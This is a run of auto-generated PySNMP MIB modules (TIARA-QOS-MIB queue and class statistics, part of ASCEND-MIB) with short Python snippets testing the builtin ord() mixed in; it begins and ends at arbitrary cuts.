mibBuilder.loadTexts: cbqClassKeyVlanId.setStatus('current') cbqClassKeyIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 4), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyIpAddress.setStatus('current') cbqClassKeyIpNetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 5), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyIpNetMask.setStatus('current') cbqClassKeyPort = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyPort.setStatus('current') cbqClassKeyProtocolType = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassKeyProtocolType.setStatus('current') tiaraCbqStatsTable = MibTable((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5), ) if mibBuilder.loadTexts: tiaraCbqStatsTable.setStatus('current') tiaraCbqStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1), ).setIndexNames((0, "TIARA-IP-MIB", "tiaraIpIfIndex"), (0, "TIARA-QOS-MIB", "cbqClassIndex")) if mibBuilder.loadTexts: tiaraCbqStatsEntry.setStatus('current') cbqStatsClassName = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 1), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqStatsClassName.setStatus('current') cbqClassPacketsForwarded = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 2), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassPacketsForwarded.setStatus('current') cbqClassBytesForwarded = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 3), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassBytesForwarded.setStatus('current') cbqClassPacketsDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 4), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassPacketsDropped.setStatus('current') cbqClassBytesDropped = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 5), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassBytesDropped.setStatus('current') cbqClassBurstExceedCount = MibTableColumn((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 6), Counter32()).setMaxAccess("readonly") if mibBuilder.loadTexts: cbqClassBurstExceedCount.setStatus('current') mibBuilder.exportSymbols("TIARA-QOS-MIB", redTxWqBiasFactor=redTxWqBiasFactor, tiaraCbqStatsEntry=tiaraCbqStatsEntry, cbqClassIsDefault=cbqClassIsDefault, redTxMaxThresholdFailure=redTxMaxThresholdFailure, redTxMinThresholdSuccess=redTxMinThresholdSuccess, tiaraCbqConfigTable=tiaraCbqConfigTable, cbqClassBytesDropped=cbqClassBytesDropped, redTxAvgQueueSize=redTxAvgQueueSize, redTxMaxLoanedCount=redTxMaxLoanedCount, cbqClassBurstTolerance=cbqClassBurstTolerance, tiaraRedConfigEntry=tiaraRedConfigEntry, cbqClassKeyVlanId=cbqClassKeyVlanId, redTxControlSuccess=redTxControlSuccess, cbqClassBandwidth=cbqClassBandwidth, cbqStatsClassName=cbqStatsClassName, cbqClassPacketsForwarded=cbqClassPacketsForwarded, cbqClassPacketsDropped=cbqClassPacketsDropped, tiaraCbqClassKeyTableEntry=tiaraCbqClassKeyTableEntry, cbqClassKeyIpNetMask=cbqClassKeyIpNetMask, redTxLoanedCount=redTxLoanedCount, tiaraQosMib=tiaraQosMib, redTxDropRate=redTxDropRate, cbqKeyClassName=cbqKeyClassName, cbqClassKeyProtocolType=cbqClassKeyProtocolType, cbqClassKeyIndex=cbqClassKeyIndex, PYSNMP_MODULE_ID=tiaraQosMib, cbqClassBytesForwarded=cbqClassBytesForwarded, cbqClassAverageBandwidth=cbqClassAverageBandwidth, cbqClassName=cbqClassName, tiaraCbqStatsTable=tiaraCbqStatsTable, redTxMinMaxRangeFailure=redTxMinMaxRangeFailure, redTxMinMaxRangeSuccess=redTxMinMaxRangeSuccess, redTxMaxThreshold=redTxMaxThreshold, redTxMaxAvgQueueSize=redTxMaxAvgQueueSize, cbqClassBurstExceedCount=cbqClassBurstExceedCount, redTxMinThreshold=redTxMinThreshold, cbqClassKeyType=cbqClassKeyType, tiaraRedStatTable=tiaraRedStatTable, tiaraRedConfigTable=tiaraRedConfigTable, cbqClassParentName=cbqClassParentName, tiaraRedStatEntry=tiaraRedStatEntry, redTxEnable=redTxEnable, tiaraCbqClassKeyTable=tiaraCbqClassKeyTable, cbqClassKeyIpAddress=cbqClassKeyIpAddress, cbqClassKeyPort=cbqClassKeyPort, tiaraCbqConfigEntry=tiaraCbqConfigEntry, cbqClassIndex=cbqClassIndex)
(object_identifier, octet_string, integer) = mibBuilder.importSymbols('ASN1', 'ObjectIdentifier', 'OctetString', 'Integer') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (single_value_constraint, value_range_constraint, value_size_constraint, constraints_union, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'SingleValueConstraint', 'ValueRangeConstraint', 'ValueSizeConstraint', 'ConstraintsUnion', 'ConstraintsIntersection') (module_compliance, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'NotificationGroup') (counter32, module_identity, time_ticks, unsigned32, gauge32, object_identity, iso, notification_type, mib_identifier, counter64, mib_scalar, mib_table, mib_table_row, mib_table_column, integer32, ip_address, bits) = mibBuilder.importSymbols('SNMPv2-SMI', 'Counter32', 'ModuleIdentity', 'TimeTicks', 'Unsigned32', 'Gauge32', 'ObjectIdentity', 'iso', 'NotificationType', 'MibIdentifier', 'Counter64', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'Integer32', 'IpAddress', 'Bits') (display_string, textual_convention, truth_value) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention', 'TruthValue') (tiara_ip_if_index,) = mibBuilder.importSymbols('TIARA-IP-MIB', 'tiaraIpIfIndex') (tiara_mgmt,) = mibBuilder.importSymbols('TIARA-NETWORKS-SMI', 'tiaraMgmt') tiara_qos_mib = module_identity((1, 3, 6, 1, 4, 1, 3174, 2, 17)) tiaraQosMib.setRevisions(('1900-02-07 00:00',)) if mibBuilder.loadTexts: tiaraQosMib.setLastUpdated('0006100000Z') if mibBuilder.loadTexts: tiaraQosMib.setOrganization('Tiara Networks Inc.') tiara_red_config_table = mib_table((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1)) if mibBuilder.loadTexts: tiaraRedConfigTable.setStatus('current') tiara_red_config_entry = mib_table_row((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1)).setIndexNames((0, 'TIARA-IP-MIB', 'tiaraIpIfIndex')) if mibBuilder.loadTexts: tiaraRedConfigEntry.setStatus('current') red_tx_max_threshold = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: redTxMaxThreshold.setStatus('current') red_tx_min_threshold = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 2), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: redTxMinThreshold.setStatus('current') red_tx_wq_bias_factor = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 3), integer32().subtype(subtypeSpec=value_range_constraint(3, 20))).setMaxAccess('readwrite') if mibBuilder.loadTexts: redTxWqBiasFactor.setStatus('current') red_tx_enable = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 1, 1, 4), truth_value()).setMaxAccess('readwrite') if mibBuilder.loadTexts: redTxEnable.setStatus('current') tiara_red_stat_table = mib_table((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2)) if mibBuilder.loadTexts: tiaraRedStatTable.setStatus('current') tiara_red_stat_entry = mib_table_row((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1)).setIndexNames((0, 'TIARA-IP-MIB', 'tiaraIpIfIndex')) if mibBuilder.loadTexts: tiaraRedStatEntry.setStatus('current') red_tx_loaned_count = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 1), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxLoanedCount.setStatus('current') red_tx_max_loaned_count = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 2), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMaxLoanedCount.setStatus('current') red_tx_avg_queue_size = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 3), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxAvgQueueSize.setStatus('current') red_tx_max_avg_queue_size = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 4), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMaxAvgQueueSize.setStatus('current') red_tx_drop_rate = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 5), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxDropRate.setStatus('current') red_tx_min_threshold_success = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 6), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMinThresholdSuccess.setStatus('current') red_tx_max_threshold_failure = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 7), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMaxThresholdFailure.setStatus('current') red_tx_min_max_range_success = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 8), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMinMaxRangeSuccess.setStatus('current') red_tx_min_max_range_failure = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 9), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxMinMaxRangeFailure.setStatus('current') red_tx_control_success = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 2, 1, 10), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: redTxControlSuccess.setStatus('current') tiara_cbq_config_table = mib_table((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3)) if mibBuilder.loadTexts: tiaraCbqConfigTable.setStatus('current') tiara_cbq_config_entry = mib_table_row((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1)).setIndexNames((0, 'TIARA-IP-MIB', 'tiaraIpIfIndex'), (0, 'TIARA-QOS-MIB', 'cbqClassIndex')) if mibBuilder.loadTexts: tiaraCbqConfigEntry.setStatus('current') cbq_class_index = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassIndex.setStatus('current') cbq_class_name = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 2), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassName.setStatus('current') cbq_class_parent_name = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 3), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassParentName.setStatus('current') cbq_class_bandwidth = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassBandwidth.setStatus('current') cbq_class_burst_tolerance = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassBurstTolerance.setStatus('current') cbq_class_key_type = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('cbqClassifyTypeNotSet', 1), ('cbqClassifySrcIp', 2), ('cbqClassifyDestIp', 3), ('cbqClassifySrcPort', 4), ('cbqClassifyDestPort', 5), ('cbqClassifyProtocolType', 6), ('cbqClassifyVlanId', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyType.setStatus('current') cbq_class_is_default = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 7), truth_value()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassIsDefault.setStatus('current') cbq_class_average_bandwidth = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 3, 1, 8), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassAverageBandwidth.setStatus('current') tiara_cbq_class_key_table = mib_table((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4)) if mibBuilder.loadTexts: tiaraCbqClassKeyTable.setStatus('current') tiara_cbq_class_key_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1)).setIndexNames((0, 'TIARA-IP-MIB', 'tiaraIpIfIndex'), (0, 'TIARA-QOS-MIB', 'cbqClassIndex'), (0, 'TIARA-QOS-MIB', 'cbqClassKeyIndex')) if mibBuilder.loadTexts: tiaraCbqClassKeyTableEntry.setStatus('current') cbq_class_key_index = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyIndex.setStatus('current') cbq_key_class_name = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 2), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqKeyClassName.setStatus('current') cbq_class_key_vlan_id = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyVlanId.setStatus('current') cbq_class_key_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 4), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyIpAddress.setStatus('current') cbq_class_key_ip_net_mask = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 5), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyIpNetMask.setStatus('current') cbq_class_key_port = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyPort.setStatus('current') cbq_class_key_protocol_type = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 4, 1, 7), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassKeyProtocolType.setStatus('current') tiara_cbq_stats_table = mib_table((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5)) if mibBuilder.loadTexts: tiaraCbqStatsTable.setStatus('current') tiara_cbq_stats_entry = mib_table_row((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1)).setIndexNames((0, 'TIARA-IP-MIB', 'tiaraIpIfIndex'), (0, 'TIARA-QOS-MIB', 'cbqClassIndex')) if mibBuilder.loadTexts: tiaraCbqStatsEntry.setStatus('current') cbq_stats_class_name = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 1), display_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqStatsClassName.setStatus('current') cbq_class_packets_forwarded = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 2), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassPacketsForwarded.setStatus('current') cbq_class_bytes_forwarded = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 3), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassBytesForwarded.setStatus('current') cbq_class_packets_dropped = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 4), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassPacketsDropped.setStatus('current') cbq_class_bytes_dropped = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 5), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassBytesDropped.setStatus('current') cbq_class_burst_exceed_count = mib_table_column((1, 3, 6, 1, 4, 1, 3174, 2, 17, 5, 1, 6), counter32()).setMaxAccess('readonly') if mibBuilder.loadTexts: cbqClassBurstExceedCount.setStatus('current') mibBuilder.exportSymbols('TIARA-QOS-MIB', redTxWqBiasFactor=redTxWqBiasFactor, tiaraCbqStatsEntry=tiaraCbqStatsEntry, cbqClassIsDefault=cbqClassIsDefault, redTxMaxThresholdFailure=redTxMaxThresholdFailure, redTxMinThresholdSuccess=redTxMinThresholdSuccess, tiaraCbqConfigTable=tiaraCbqConfigTable, cbqClassBytesDropped=cbqClassBytesDropped, redTxAvgQueueSize=redTxAvgQueueSize, redTxMaxLoanedCount=redTxMaxLoanedCount, cbqClassBurstTolerance=cbqClassBurstTolerance, tiaraRedConfigEntry=tiaraRedConfigEntry, cbqClassKeyVlanId=cbqClassKeyVlanId, redTxControlSuccess=redTxControlSuccess, cbqClassBandwidth=cbqClassBandwidth, cbqStatsClassName=cbqStatsClassName, cbqClassPacketsForwarded=cbqClassPacketsForwarded, cbqClassPacketsDropped=cbqClassPacketsDropped, tiaraCbqClassKeyTableEntry=tiaraCbqClassKeyTableEntry, cbqClassKeyIpNetMask=cbqClassKeyIpNetMask, redTxLoanedCount=redTxLoanedCount, tiaraQosMib=tiaraQosMib, redTxDropRate=redTxDropRate, cbqKeyClassName=cbqKeyClassName, cbqClassKeyProtocolType=cbqClassKeyProtocolType, cbqClassKeyIndex=cbqClassKeyIndex, PYSNMP_MODULE_ID=tiaraQosMib, cbqClassBytesForwarded=cbqClassBytesForwarded, cbqClassAverageBandwidth=cbqClassAverageBandwidth, cbqClassName=cbqClassName, tiaraCbqStatsTable=tiaraCbqStatsTable, redTxMinMaxRangeFailure=redTxMinMaxRangeFailure, redTxMinMaxRangeSuccess=redTxMinMaxRangeSuccess, redTxMaxThreshold=redTxMaxThreshold, redTxMaxAvgQueueSize=redTxMaxAvgQueueSize, cbqClassBurstExceedCount=cbqClassBurstExceedCount, redTxMinThreshold=redTxMinThreshold, cbqClassKeyType=cbqClassKeyType, tiaraRedStatTable=tiaraRedStatTable, tiaraRedConfigTable=tiaraRedConfigTable, cbqClassParentName=cbqClassParentName, tiaraRedStatEntry=tiaraRedStatEntry, redTxEnable=redTxEnable, tiaraCbqClassKeyTable=tiaraCbqClassKeyTable, cbqClassKeyIpAddress=cbqClassKeyIpAddress, cbqClassKeyPort=cbqClassKeyPort, tiaraCbqConfigEntry=tiaraCbqConfigEntry, cbqClassIndex=cbqClassIndex)
''' builtin functions ''' def main(): o = ord('x') TestError( o == 120 ) #n = float('1.1') #TestError( n==1.1 ) #n = float('NaN') #TestError( isNaN(n)==True ) #r = round( 1.1234, 2) #print(r) #TestError( str(r) == '1.12' ) #r = round( 100.001, 2) #TestError( r == 100 ) #i = int( 100.1 ) #TestError( i == 100 ) #r = round( 5.49 ) #TestError( r == 5 ) #r = round( 5.49, 1 ) #TestError( r == 5.5 )
""" builtin functions """ def main(): o = ord('x') test_error(o == 120)
# # PySNMP MIB module ASCEND-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/ASCEND-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:09:57 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, ObjectIdentifier, OctetString = mibBuilder.importSymbols("ASN1", "Integer", "ObjectIdentifier", "OctetString") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ConstraintsIntersection, SingleValueConstraint, ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion = mibBuilder.importSymbols("ASN1-REFINEMENT", "ConstraintsIntersection", "SingleValueConstraint", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") enterprises, Counter64, NotificationType, ModuleIdentity, iso, MibScalar, MibTable, MibTableRow, MibTableColumn, ObjectIdentity, IpAddress, Bits, Integer32, Counter32, MibIdentifier, Gauge32, Unsigned32, TimeTicks = mibBuilder.importSymbols("SNMPv2-SMI", "enterprises", "Counter64", "NotificationType", "ModuleIdentity", "iso", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "ObjectIdentity", "IpAddress", "Bits", "Integer32", "Counter32", "MibIdentifier", "Gauge32", "Unsigned32", "TimeTicks") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") class DisplayString(OctetString): pass ascend = MibIdentifier((1, 3, 6, 1, 4, 1, 529)) products = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1)) slots = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 2)) hostTypes = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3)) advancedAgent = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 4)) lanTypes = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 5)) doGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 6)) hostStatus = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 7)) console = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 8)) systemStatusGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 9)) eventGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 10)) callStatusGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 11)) sessionStatusGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 12)) radiusGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 13)) mCastGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 14)) lanModemGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 15)) firewallGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 16)) wanDialoutPkt = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 17)) powerSupply = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 18)) multiShelf = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 19)) miscGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 20)) asgGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 21)) flashGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 22)) configuration = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 23)) atmpGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 24)) callLoggingGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 25)) srvcMgmtGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 26)) resourcesGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 27)) voipGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 28)) mgGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 29)) sparingGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 30)) cltmGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 31)) multiband = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 1)) max = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2)) pipeline = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3)) max_tnt = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 4)).setLabel("max-tnt") dslTnt = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 5)) aqueduct = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 6)) stinger_10 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 7)).setLabel("stinger-10") apx_8000 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 8)).setLabel("apx-8000") max200 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 1)) max1800 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 2)) max2000 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 3)) max4000 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 4)) max4002 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 5)) max4004 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 6)) max6000 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 7)) max800 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 8)) max3000 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 9)) dslmax20 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 10)) terminator = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 11)) cvmax100 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 2, 12)) pipe15 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 1)) pipe25 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 2)) pipe25Px = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 3)) pipe25Fx = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 4)) pipe50 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 5)) pipe75 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 6)) pipe130T1 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 7)) pipe400 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 8)) pipe220 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 9)) dslPipeAcap = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 10)) dslPipeS = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 11)) dslPipe2S = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 12)) dslPipeAdmt = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 21)) dslPipeAlctlDmt = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 22)) dslPipeAdslCoeC = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 13)) dslPipeSdslCoe = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 14)) dslPipeSdslCoe2S = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 15)) dslPipeAdslCoeD = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 20)) pipe85 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 16)) pipe50LS56 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 17)) pipe130V35 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 18)) pipe130N56 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 19)) spipe95 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 23)) spipe155T1 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 24)) dslPipe50SdslCell = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 25)) dslPipeSdslHs = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 3, 26)) aq300 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 1, 6, 1)) hostTypeAny = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3, 1)) hostTypeDual = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3, 2)) hostTypeQuad = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3, 3)) hostTypeAim2 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3, 4)) hostTypeAim6 = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 3, 5)) lanTypeAny = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 5, 1)) lanTypeEthernet = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 5, 2)) lanTypeEtherData = MibIdentifier((1, 3, 6, 1, 4, 1, 529, 5, 3)) doTable = MibTable((1, 3, 6, 1, 4, 1, 529, 6, 1), ) if mibBuilder.loadTexts: doTable.setStatus('mandatory') doEntry = MibTableRow((1, 3, 6, 1, 4, 1, 529, 6, 1, 1), ).setIndexNames((0, "ASCEND-MIB", "doSlotIndex"), (0, "ASCEND-MIB", "doItemIndex")) if mibBuilder.loadTexts: doEntry.setStatus('mandatory') doSlotIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: doSlotIndex.setStatus('mandatory') doItemIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: doItemIndex.setStatus('mandatory') doDial = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("valid", 1), ("notValid", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: doDial.setStatus('mandatory') doHangUp = MibTableColumn((1, 3, 6, 1, 4, 1, 529, 6, 1, 1, 4), 